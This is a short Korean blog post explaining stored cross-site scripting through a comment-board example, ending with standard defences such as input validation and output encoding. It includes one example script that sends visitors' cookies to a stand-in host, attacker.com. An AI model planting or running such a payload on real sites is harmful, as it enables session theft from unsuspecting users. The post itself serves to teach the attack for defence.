Stored XSS

malibu·2023년 7월 14일

Stored XSS(Cross-Site Scripting)는 악의적인 스크립트가 웹 애플리케이션의 데이터베이스 또는 저장소에 저장되어, 해당 데이터를 조회하는 사용자에게 실행되는 공격 형태입니다. 이를 이해하기 쉽게 예시를 들어 설명하겠습니다.

가정해봅시다, 사용자들이 댓글을 작성하고 저장하는 게시판 기능이 있는 웹 사이트가 있다고 가정합니다.

Stored XSS 공격이 없는 경우:

사용자가 댓글을 작성하여 서버에 저장하면, 다른 사용자가 해당 댓글을 조회할 때 안전하게 표시됩니다.
Stored XSS 공격이 있는 경우:

악의적인 사용자가 댓글에 악성 스크립트를 삽입하고 게시판에 저장합니다.
이 때, 악성 스크립트는 일반적인 댓글처럼 저장되지만, 조회하

<script>
  // 악의적인 코드
  fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

모든 사용자가 해당 댓글을 조회할 때마다 악성 스크립트가 실행되어 악의적인 사용자에게 자신의 쿠키 정보가 전송됩니다.

이를 통해 악의적인 사용자는 다른 사용자의 세션 정보를 탈취하거나 조작하여 공격을 수행할 수 있습니다. Stored XSS 공격을 방지하기 위해 웹 개발자는 적절한 입력 검증, 출력 인코딩, 데이터 필터링 및 이스케이프, 쿠키 보호 등의 보안 대책을 구현해야 합니다.

profile
안녕하세요!

0개의 댓글